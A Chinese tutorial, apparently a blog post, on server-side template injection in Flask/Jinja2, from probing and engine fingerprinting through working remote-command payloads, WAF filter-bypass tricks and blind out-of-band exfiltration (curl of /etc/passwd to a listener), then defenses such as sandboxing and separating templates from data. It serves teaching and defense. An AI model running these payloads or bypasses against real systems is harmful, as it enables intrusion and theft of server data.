尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
SSTI服务端模板注入从原理到实战:Jinja2利用链与过滤绕过
聊到Web安全SSTI服务端模板注入是我每次做内部分享都会拿出来讲的漏洞类型。原因很简单它把“用户输入”和“代码执行”之间的边界彻底模糊了明明只是一段渲染模板的小功能最后却能演变成服务器上的任意命令执行。这篇文章我从模板引擎的基本原理开始拆一路讲到Jinja2环境下的注入利用、过滤绕过和防御修复把SSTI从零到一的链路完整走一遍。适合刚入门Web安全的同学建立体系化认知也适合后端开发同学理解为什么“用户输入拼进模板字符串”是一道绝对不能碰的红线。1. 模板引擎的工作原理与SSTI根源1.1 模板引擎到底在做什么模板引擎是服务端渲染的核心组件。我习惯用一个印厂流水线的类比来解释模板文件就是固定版式数据是当天要印的内容引擎负责把内容准确填进版式最终产出完整的HTML页面。在Flask里默认模板引擎是Jinja2在Java的Spring生态里常见的是Freemarker、Thymeleaf、VelocityPHP世界主流是Twig和SmartyRuby的ERB也属于这一类。一次正常的渲染过程大致是这样的服务端读取模板文件文件里既有静态HTML结构也有{{ variable }}、{% if %}这类动态标记。引擎把模板文本解析成内部结构树AST。视图函数传入的变量被映射到模板里的占位符上。引擎执行渲染逻辑输出一段完整文本返回给浏览器。关键是模板语法不是“拿来即用”的字符串填空它本身具备表达式求值能力。在Jinja2里写{{ 7*7 }}引擎会真的算出49再输出而不是原样把“7*7”这几个字符打出来。这就是模板语言和普通字符串替换之间最本质的区别也是后面所有安全问题的起点。那为什么开发者要引入模板引擎核心诉求是逻辑与表现分离前端页面骨架由设计师维护后端只负责往占位符里填业务数据同时利用模板语法做循环、判断、继承比手工拼HTML字符串要清爽得多。但模板引擎一旦把“表达式求值”这个能力暴露给不受信任的用户输入风险就随之而来。1.2 SSTI为什么可怕SSTI的全称是Server-Side Template Injection即服务端模板注入。它的定义很直接当用户提交的数据被当作模板内容的一部分传递给模板引擎进行渲染并且用户输入能够实际影响到模板解析逻辑时就存在模板注入。攻击者可以利用模板语法在服务端执行任意表达式甚至拿到系统命令执行权限。具体看一段典型漏洞代码from flask import Flask, request, render_template_string app Flask(__name__) app.route(/) def index(): name request.args.get(name, guest) return render_template_string(pHello, name /p)这个视图函数把URL里的name参数直接拼进了模板字符串再交给render_template_string渲染。当正常访问/?nameworld时页面输出Hello, world看起来一切正常。但如果请求的是/?name{{7*7}}模板引擎会把{{7*7}}当成表达式求值页面输出Hello, 49。到这里用户输入实际上已经控制住了服务端模板的执行逻辑。为什么说SSTI比XSS更危险XSS是往浏览器里注入脚本执行环境在客户端能影响的通常是当前用户自己的会话和当前页面。但SSTI不同恶意表达式在服务器上被执行在Jinja2这类Python模板引擎里配合Python对象模型特性可以一步步探索到系统命令执行拿到的直接是Web服务进程的权限。一旦演变成RCE远程命令执行整个服务器都可能被控制。当然这篇文章里讲到的所有探测和利用手法必须严格限定在你有授权的目标或自建靶场中进行推荐使用Vulhub的flask/ssti环境或本地Docker环境练习不要拿生产站点测试。2. 从第一行探测开始确认SSTI存在2.1 探测payload与响应判断拿到一个疑似注入点后第一步永远是探测而不是直接丢复杂payload。探测的核心思路是构造一个“算得出来且结果独特”的表达式丢进输入点看回显是否发生计算。我常用的探测串有这几种{{7*7}}适合Jinja2、Twig、Smarty等${7*7}适合Freemarker#{7*7}适合Thymeleaf3.x支持内联表达式[[${7*7}]]Thymeleaf标准内联% 7*7 %适合Ruby ERB如果页面返回了49基本可以断定这个输入点被模板引擎直接渲染并且表达式被求值了。此时再深入测试不迟。如果返回还是原样的“7*7”那就是引擎语法不匹配换一种探测串继续试。这里有个容易被忽略的点需要把回显放在整个页面上下文里看。有些情况下页面本身会引入前端模板或JS字符串{{7*7}}可能在HTML源码里变成别的样子甚至被转义。看到“49”时先确认它来自服务端渲染而不是前端JS动态算出来的。2.2 模板引擎指纹识别不同框架和语言使用的模板引擎完全不同探测成功后第一件事就是确认具体是哪种引擎。不同引擎的语法、可利用对象和攻击路径差异极大拿Jinja2的payload去打Freemarker大概率什么都得不到。我平时会参照这个表格快速对照引擎典型语法常见框架Jinja2{{ expr }}/{% stmt %}Flask、AnsibleTwig{{ expr }}/{% stmt %}Symfony、DrupalSmarty{$var}/{if}PHPFreemarker${expr}SpringThymeleaf[[${expr}]]/th:textSpring BootVelocity#set/$varJavaERB% expr %Ruby on Rails更进一步的识别手段是利用引擎独有的行为。比如Jinja2中{{7*7}}会输出7个字符“7”字符串乘以整数Twig对这类运算的处理方式却不一样Freemarker里${7*7}正常但${7*7}会直接报错。再比如Jinja2中{{.__class__}}会返回class str看到这个Python类信息时基本可以确认就是Jinja2而且说明它没有过多拦截属性访问。识别指纹的价值在于后续利用链的选择。Jinja2要通过Python对象模型找命令执行点Freemarker要用内建函数或指令的机制比如通过?new调用实现命令执行的类Twig有自己的函数解析机制。不同引擎的利用路径完全不同指纹识别错了后面全白搭。2.3 触发场景梳理哪些位置容易中招SSTI的注入点往往出现在几个固定场景里熟悉它们有助于在测试或代码审计时快速锁定目标。第一类是邮件模板。后台允许管理员编辑邮件模板模板里要插入用户名、订单号、验证码等动态内容如果直接拼接用户可控字段很容易出问题。第二类是报表导出和HTML转PDF功能。为了动态生成带数据的页面后端会把数据结构传给模板引擎渲染再交给PDF转换组件。如果模板中某一部分直接放了用户输入例如导出文件名、用户备注就会变成注入入口。第三类是站内信、公告板和评论功能。部分系统为了展示富文本或动态内容会启用模板引擎渲染用户提交的文本这就相当于把模板的执行权直接交给了普通用户。第四类是404页面或统一错误页面。为了友好回显访问路径开发者把请求URL拼进模板字符串而URL本身完全可控于是路径参数就成了天然的测试入口。最后还有开发者工具和自动化脚本。批量生成静态页面的工具、动态样式配置系统都容易在“灵活配置”的诉求下把用户输入送进渲染函数。找到这类入口后别急着上复杂payload先用乘法探测确认存在性。确认存在后再做引擎指纹识别然后才进入真正的利用阶段。3. Jinja2利用链深度拆解3.1 从对象到基类Python继承链探险Jinja2环境下SSTI能通向命令执行靠的是Python“万物皆对象”的语言特性。最经典的payload基础形态是{{.__class__.__mro__[1].__subclasses__()}}拆开来看是一个空字符串对象.__class__拿到它的类型str。.__mro__是类的“方法解析顺序”返回一个元组包含当前类及其所有父类。str的继承链是(str, object)所以索引[1]拿到的就是整个Python继承树的根object类。.__subclasses__()是object类提供的方法返回所有直接继承object的子类列表。因为大多数Python类都直接或间接继承object这个列表内容非常丰富。在Flask运行时环境里这个列表里能找到class os._wrap_close、class subprocess.Popen、class warnings.catch_warnings等类。这些类就是通往命令执行的关键跳板。我在本地Flask环境里测试时第一步就是打印{{.__class__.__mro__}}和{{.__class__.__mro__[1].__subclasses__()}}。实测下来子类列表可能有几百个类人工翻找效率太低通常是用循环判断来检索目标类名这在后面会具体演示。3.2 找到命令执行的点拿到几百个子类之后下一步是在其中定位能用来执行命令的对象。方向通常有两个。方向一从某个类的__init__函数入手通过它的__globals__属性拿到全局命名空间。Python中每个函数对象都有一个__globals__属性保存的是定义该函数时所在模块的全局变量字典。这个字典里往往包含__builtins__内置函数集合也可能直接包含os、sys等已被模块导入的包。方向二从Flask模板上下文里现成可用的全局对象出发。默认情况下Flask会把config、url_for、request、g这些对象注入模板。config是字典子类对象config.__class__.__init__.__globals__能直接拿到全局命名空间url_for本身是函数url_for.__globals__里的内容也经常能直接找到os模块。我实际用得最多的一条捷径是{{config.__class__.__init__.__globals__[os].popen(id).read()}}这条链的访问过程是config是Flask配置对象 →.__class__拿到它的类通常是dict的子类 →.__init__是该类的构造器函数 →.__globals__拿到该构造器定义时的全局命名空间 → 在这个命名空间字典里取键os拿到os模块 → 调用os.popen(id).read()执行命令并读取输出。为什么这条链很稳因为Flask启动过程中加载配置或视图模块时基本都会import过os等基础模块这些模块引用会留在相关函数的__globals__里。只要环境不是极简空壳这招基本都能命中。3.3 一条完整可用的命令执行payload分析如果目标环境里config不可用或者响应里看不到config对象就需要走更通用的“子类检索”链路。一个比较通用的写法是这样{% for c in .__class__.__mro__[1].__subclasses__() %} {% if c.__name__ catch_warnings %} {{ c.__init__.__globals__[__builtins__][__import__](os).popen(id).read() }} {% endif %} {% endfor %}逐段解释.__class__.__mro__[1]拿到object基类。.__subclasses__()拿到全部子类列表循环遍历。找到名字为catch_warnings的类。这个类是Python warnings模块内部的类在大多数运行环境中都会被系统加载所以存在率很高。c.__init__.__globals__拿到warnings模块的全局命名空间。从命名空间里取__builtins__再通过[__import__]拿到Python的__import__函数。用__import__(os)动态导入os模块最后调用os.popen(id).read()完成命令执行。这里核心逻辑是__builtins__里的__import__是Python的“模块导入器”只要还能拿到它任何模块都能动态导入os、subprocess都不在话下。所以很多payload里会出现__import__字样它相当于打开命令执行大门的万能钥匙。3.4 基于request对象的灵活利用链在Jinja2模板里request对象默认可用这意味着可以把payload中大部分字符串内容放进URL参数让payload本体保持极简。经典写法如下{{config.__class__.__init__.__globals__[request.args.x][request.args.y](request.args.z).read()}}?xosypopenzid解析一下request.args.x会取URL查询参数x的值。实际请求为/?xosypopenzid时整条链等效于config.__class__.__init__.__globals__[os].popen(id).read()。这个思路在应对过滤规则时极好用。只要模板解析器能正常渲染config.__class__.__init__.__globals__这段属性访问链后面的模块名、函数名、命令字符串全都可以通过URL参数动态传入攻击者不需要在payload里硬编码任何敏感字符串。另一个类似的便捷对象是url_for。Flask默认会把url_for、get_flashed_messages等函数注入模板上下文这些函数对象同样有__globals__。可以尝试{{url_for.__globals__[os].popen(id).read()}}如果开发过程中恰好有模块把os引入了Flask的全局命名空间这条链会非常短。另外还有一个叫lipsum的函数也是Jinja2环境默认注入的lipsum.__globals__同样是常用跳板。这类捷径属于“撞运气”性质的尝试但确实省事值得放进payload字典里。4. 过滤条件下的绕过实战4.1 过滤数字用布尔与逻辑运算构造真实业务里的SSTI很少完全裸奔多少会加一些过滤规则。先从“过滤数字”说起。有的系统会把payload里的数字字符替换为空比如{{7*7}}里的“7”没了整个表达式直接失效。绕过的思路很直白不写数字字面量用其它方式构造出等价的数值。在Jinja2里套路很多[1]可以用[True]替代因为True在Python布尔体系中就等于1。[0]可以用[False]或[[]|length]替代。需要2时可以用[TrueTrue]或者用request.args|length这类动态长度值。要拿object基类时__mro__[True]等价于__mro__[1]。实测中比较实用的一招是先.__class__.__mro__[True]拿到object再调用.__subclasses__()。整个payload里完全不需要出现数字字符。如果你需要确认自己能拿到子类列表的总长度可以用{{.__class__.__mro__[True].__subclasses__().__len__()}}这里__len__()方法名里也没有数字。真正遇到所有数字都被过滤的情况关键是记住布尔值、列表长度、字符串长度这些“非数字来源”都能间接构造数值临场组合即可。4.2 过滤字母request参数与字符串拼接字母过滤是更常见的硬骨头也是“过滤字母数字”这个热词背后大家真正遇到的问题。实际上绝大多数过滤规则并不是把26个字母全干掉那样业务也没法运行了通常是拦截关键字母组合比如class、os、popen、read、subclasses这些敏感词。应对方式第一类参数外带。把敏感字符串全部放到URL参数中payload里用request.args.xxx动态引用。举个例子/?name{{config.__class__.__init__.__globals__[request.args.x][request.args.y](request.args.z).read()}}xosypopenzid这个写法不仅把os、popen、id藏进了URL参数还能把带下划线的属性名也一并外带。比如想看__class__就写{{|attr(request.args.a)}}参数里传a__class__。这样模板表达式里基本不出现敏感字母组合。应对方式第二类字符串构造。如果WAF对整个请求URI做统一的正则过滤URL参数里的敏感词也会被拦那就需要在payload内部自己拼字符串。Jinja2里可以用波浪号拼接o~s等价于os。还可以利用dict(os1)|join这种技巧从字典的键名里取出字符串因为过滤规则一般不会拦dict这类普通关键字。实际测试时我会先试参数外带被拦截再换字符串构造如果两者都失败就考虑编码或者组合使用。因为每种过滤规则实现细节不同没有通杀payload但参数外带在大多数场景里是第一选择。4.3 过滤点号与下划线attr过滤器与字典方法真实WAF对SSTI的检测几乎都会关注点和下划线因为几乎所有payload都充斥着这两种符号。点号被过滤时Jinja2的attr过滤器是首选替代品。.__class__可以改写成|attr(__class__)。当点号、下划线同时受限时典型写法是这样{{|attr(__class__)|attr(__mro__)|attr(__getitem__)(True)|attr(__subclasses__)()}}在这个链条里属性访问全部通过attr过滤器完成索引[1]被(True)替代点号完全没有出现。如果还需要拿更深层的__init__.__globals__继续用|attr(__init__)|attr(__globals__)往后接就行。下划线被过滤时最有效的还是参数外带。把带下划线的字符串放进URL参数比如?a__class__模板里只写|attr(request.args.a)。如果WAF对URL参数中的下划线也做过滤可以尝试URL编码。有些WAF只检查一次解码后的内容双编码或混合编码经常能绕过这类技巧属于钻实现细节的空子现场多试几种编码组合基本能覆盖。引号被过滤的情况也不少见。解决办法依然是参数外带用request.args.x替代字符串字面量。如果连参数外带都被限制可以试dict(os1)|join这种从字典键提取字符串的方式它不需要引号。综合一个复杂过滤场景的示例。假设某系统过滤了数字、过滤了“os”字符串、还过滤了点号目标是执行id命令可以这样组合/?name{{(config|attr(request.args.a)|attr(request.args.b)|attr(request.args.c))[request.args.d]|attr(request.args.e)(request.args.f)|attr(request.args.g)()}}a__class__b__init__c__globals__dosepopenfidgread虽然长但把几乎所有敏感字符串都外带进了参数模板里剩下的只是符号和属性访问。遇到严格过滤时基于这个思路逐步调整即可不用硬背payload。4.4 盲SSTI无回显时的带外通道页面不回显模板输出时SSTI依然可能存在只是结果被隐藏了。这时候要利用命令执行的“副作用”把信息带出来最常见的是DNSLog和HTTP回调。思路很简单在注入点构造一个执行带外请求的命令比如ping unique-domain.dnslog.cn或curl http://my-server/xxx。如果控制端收到了请求就说明命令确实被执行了。确认存在命令执行后再用curl http://my-server/$(cat /etc/passwd|base64)这类命令把文件内容外带出来。盲SSTI的探测逻辑和盲XXE、盲SSRF类似核心是提前建好带外通道。在Jinja2里仍然可以通过os.popen执行这些命令只是需要把结果“送出去”而不是“写回来”。这类手法操作起来有风险务必只在授权环境和自己可控的监听服务上做。5. 防御端到端让SSTI无路可走5.1 最根本的修复模板字符串与数据分离SSTI的根因只有一个用户输入进入了模板字符串本身。因此最根本、最优先的修复方式是彻底放弃把用户输入拼进模板字符串的做法。在Flask里的规范写法是from flask import Flask, request, render_template app Flask(__name__) app.route(/) def index(): name request.args.get(name, guest) return render_template(hello.html, namename)hello.html里写pHello, {{ name }}/p。此时用户输入只是作为数据传给模板永远只是在占位符处被输出不会被解析成模板语法。只要模板文件本身不是用户可写的SSTI就从源头消失了。这条原则可以推广到所有框架Java的Freemarker要避免把用户输入拼进模板字符串再用StringTemplateLoader加载PHP的Twig和Smarty同样遵循“模板文件和渲染数据分离”原则。在我的经验里这条原则能覆盖90%以上的SSTI风险属于“睡前一改明天安全”级别的修复。5.2 Jinja2沙箱与运行时加固如果业务上确实必须允许用户编写模板比如CMS后台的模板编辑器那就要把执行环境的漏洞口子焊死。Jinja2官方提供了沙箱模式from jinja2 import Environment from jinja2.sandbox import SandboxedEnvironment env SandboxedEnvironment(autoescapeTrue)沙箱会限制模板中可访问的属性、方法和内置变量让__class__、__subclasses__这类敏感链失效。但必须清醒认识到沙箱只是“加固”不是“绝对安全”历史上出现过针对Jinja2沙箱的逃逸漏洞。所以沙箱必须与最小权限配套使用Web服务进程用低权限用户运行独立容器隔离文件系统只读挂载不挂载Docker socket不给危险的系统调用权限。把沙箱逃逸带来的危害控制在最小半径内。5.3 输入侧治理与纵深防御SSTI的防御应该分层不能只靠一道防线。第一层是输入校验。对用户输入做白名单校验尤其是模板语法特征字符包括{{、{%、#{、${、%等一律拒绝。这类规则放在WAF或应用层过滤即可。第二层是模板上下文最小化。调用render_template_string时只传入确实需要的参数不要把config、request、g这些全局对象暴露给模板。使用Environment(undefinedStrictUndefined)配合显式传入变量可以避免模板擅自访问全局对象。第三层是依赖升级。及时更新Flask、Jinja2以及相关模板引擎版本修复已知的沙箱逃逸和模板引擎漏洞。很多SSTI利用链依赖旧版本Python对象布局升级后可能自然失效。第四层是业务评估。尽量避免“允许用户自定义模板”这种高权限功能。如果必须做要走审批审核流程在独立且弱权限的渲染进程中执行。6. 常见问题与排查实录6.1 探测无回显怎么办最常遇到的情况是丢进去{{7*7}}页面原样输出像是什么都没发生。先别急着判断“不存在漏洞”按顺序排查几类原因。第一引擎语法是否匹配。Freemarker环境下要改用${7*7}Thymeleaf要试[[${7*7}]]Ruby环境试% 7*7 %。引擎没对上探测串自然不会生效。第二是否被WAF或输入过滤拦了。观察响应头和返回码有些系统会在拦截时返回特定页面或状态码。如果被拦可以尝试编码、把payload拆散放在多个参数里、利用换行符号混淆正则。模板表达式本身对空白不敏感适当插入空白字符有时能绕过脆弱的正则。第三输出位置是否被前端吞掉。回显可能在注释里、隐藏标签里或者被前端JS处理过。查看页面源码搜索“49”确认没有在服务端被正常渲染后被客户端脚本篡改。第四是不是“无回显”而非“不存在”。尝试盲SSTI的带外方式用DNSLog确认命令是否执行。只要执行了没有回显也能通过带外通道拿到证据。6.2 能执行但被限制/回显不完整确认存在SSTI但命令执行失败时常见原因有这么几类。沙箱环境限制了__subclasses__()或属性访问。此时优先尝试config、url_for、g这些Flask上下文对象它们的__init__.__globals__往往比子类链更容易命中因为沙箱通常只针对显式的属性访问做拦截但函数对象的__globals__是语言底层机制拦截成本高。命令输出被截断或出现编码问题。os.popen(id).read()的输出一般没问题但遇到中文内容时可能乱码可以先执行id、whoami做最小验证再逐步扩大。命令本身被系统限制。Web服务进程如果是低权限用户cat /root/flag这类文件读不到很正常。先确认当前用户身份和可访问目录执行id、pwd、ls再决定下一步命令。请求长度限制。超长payload被截断时改用参数外带结构把payload压缩到极短。模板表达式本体只保留属性访问链所有字符串放到URL参数里能有效压短请求长度。6.3 常见问题速查表现象可能原因处理思路{{7*7}}无变化引擎不匹配换用${7*7}、[[${7*7}]]、% 7*7 %无变化且提示拦截WAF/输入过滤编码绕过、参数外带、换行拆分有回显但无命令结果沙箱限制用config/url_for链避开子类链数字被过滤正则过滤数字字符[True]替代[1][False]替代[0]结合length构造字母被过滤关键字母组合拦截request.args外带、字符串拼接、dict键名提取点号/下划线被过滤属性访问拦截attr过滤器、参数外带、URL编码输出不完整/乱码编码或截断执行简短命令用base64外带这张速查表基本是我日常排查SSTI问题的固定顺序按行从上往下走大多数场景几分钟内能定位到原因。我在Vulhub的flask/ssti靶场和本地Docker环境里复现过很多次SSTI最深的一点体会是SSTI难的不是背payload而是理解模板引擎和编程语言本身的对象模型。把__mro__、__subclasses__、__globals__这几个关键概念吃透之后即使面对从来没见过的过滤规则也能基于对象访问的思路现场构造payload。反过来的价值更大理解了攻击路径再写代码时就会本能地警惕“用户输入会不会进入模板字符串”。我给自己定的红线就一条只要是模板输出一律用render_template传参render_template_string永远不接收任何用户可控拼接。这条红线守住了SSTI基本与你无关。
RELATED

相关推荐

前端工程师收藏必备:12个月AI Agent转型指南,薪资高30%!用TaoToken统一Key打通LLM API

前端工程师收藏必备:12个月AI Agent转型指南,薪资高30%!用TaoToken统一Key打通LLM API

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

📅 2026/9/29 8:14:35
第九章:Harness Engineering 实战 — 用 TaoToken 统一 Key 搭建 AI 系统可测、可信、可运维的 Eval Suite 与 Guardrails

第九章:Harness Engineering 实战 — 用 TaoToken 统一 Key 搭建 AI 系统可测、可信、可运维的 Eval Suite 与 Guardrails

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

📅 2026/9/29 8:14:35
TensorFlow本质是AI编译器基础设施,不是深度学习框架

TensorFlow本质是AI编译器基础设施,不是深度学习框架

1. 这不是“又一个深度学习框架”——TensorFlow的本质定位与它被误读十年的真相 很多人第一次听说TensorFlow,是在2015年谷歌开源它的新闻里;第二次听到,是在面试时被问“你用过TensorFlow吗”;第三次,可能是在某篇对…

📅 2026/9/29 8:09:34
MORE NEWS

更多资讯

📰

DSH小鲸鱼挂件装完不显示?7个常见问题的完整自检清单

DSH小鲸鱼挂件装完不显示?7个常见问题的完整自检清单 【免费下载链接】DeepSeek-Balance-Whale-Widget DeepSeek Harness(DSH)一只住在 DSH 界面右下角的小鲸鱼娘,帮你盯着DeepSeek账户余额。QQ弹弹,支持拖拽吸附、左吸…

📰

C语言期末通关:内存模型与五大核心枢纽解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

📰

cursor:pointer 失效排查:从 z-index 到 CSS 层叠的完整配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

📰

用AI-Novel-Writing-Assistant写出你的第一本完整长篇小说:从一句灵感到成稿的实操路径

用AI-Novel-Writing-Assistant写出你的第一本完整长篇小说:从一句灵感到成稿的实操路径 【免费下载链接】AI-Novel-Writing-Assistant 面向长篇小说创作的 AI Native 开源系统,用 Agent、世界观、写法引擎、RAG 和整本生产工作流,帮助新手从一…

📰

Mac Mouse Fix 按钮映射指南:5 分钟让 10 美元鼠标的侧键好用起来

Mac Mouse Fix 按钮映射指南:5 分钟让 10 美元鼠标的侧键好用起来 【免费下载链接】mac-mouse-fix Mac Mouse Fix - Make Your $10 Mouse Better Than an Apple Trackpad! 项目地址: https://gitcode.com/GitHub_Trending/ma/mac-mouse-fix 你按下鼠标侧键&a…

📰

BMAD命名智能体实践--智能体人设扩展

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬